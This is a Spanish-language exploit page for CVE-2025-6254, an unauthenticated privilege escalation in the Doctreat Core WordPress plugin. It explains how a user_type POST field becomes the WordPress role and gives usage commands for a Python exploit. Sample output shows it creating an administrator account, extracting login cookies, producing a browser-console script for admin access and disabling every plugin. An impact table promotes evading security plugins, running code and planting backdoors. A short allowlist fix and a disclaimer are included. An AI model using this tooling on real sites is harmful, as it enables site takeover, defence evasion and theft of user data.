
CVE-2025-6254 — Doctreat Core <= 1.6.8 — Escalada de Privilegios no Autenticada
El plugin de WordPress Doctreat Core versiones <= 1.6.8 es vulnerable a una vulnerabilidad de escalada de privilegios no autenticada. Esta falla crítica permite a atacantes no autenticados crear una nueva cuenta de Administrador directamente a través del endpoint AJAX de registro del plugin.
La vulnerabilidad se origina en la función doctreat_process_registration() en hooks/hooks.php, que acepta el parámetro user_type directamente de los datos POST enviados por el usuario y lo pasa como el parámetro role a wp_update_user() sin la autorización adecuada ni validación de lista blanca. El plugin solo aplica esc_sql() (que no valida roles) — nunca verifica si el rol es seguro para el registro público.
Descubrimiento Clave: El nonce utilizado por Doctreat (scripts_vars.ajax_nonce) está expuesto en cualquier página pública del tema Doctreat activo. El parámetro user_type, que normalmente controla si un usuario se registra como "doctors", "hospitals" o "regular_users", puede ser anulado vía POST a user_type=administrator — y este valor se pasa directamente como el parámetro role de WordPress.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator junto con los campos normales de registroajax_nonce de las páginas públicas del tema Doctreat// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
Nota: En objetivos con configuraciones de verificación predeterminadas ($verify_user vacío o 'remove'), el usuario se verifica automáticamente y obtiene acceso de administrador inmediato. Los objetivos con verificación por correo electrónico o aprobación de administrador habilitada requerirán pasos de verificación adicionales.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
Después de ejecutar el exploit, copie el JavaScript generado y péguelo en la Consola DevTools de su navegador (F12):
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') para roles privilegiadosuser_type antes de pasarlo a wp_update_user()Esta información se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. La explotación no autorizada de sistemas informáticos es ilegal y poco ética. Siempre obtenga permiso explícito por escrito antes de probar cualquier objetivo que no sea de su propiedad.
| Capacidad | Impacto |
|---|
| 🔑 Crear cuenta de administrador sin inicio de sesión | Toma de Control Total del Sitio |
| 🎛️ Deshabilitar automáticamente todos los plugins de seguridad | Evasión de Defensas |
| 💉 Editar archivos PHP de plugins/temas | Ejecución Remota de Código |
| 🕳️ Instalar puertas traseras ocultas | Acceso Persistente |
| 👥 Ver todos los datos de usuario | Violación de Privacidad |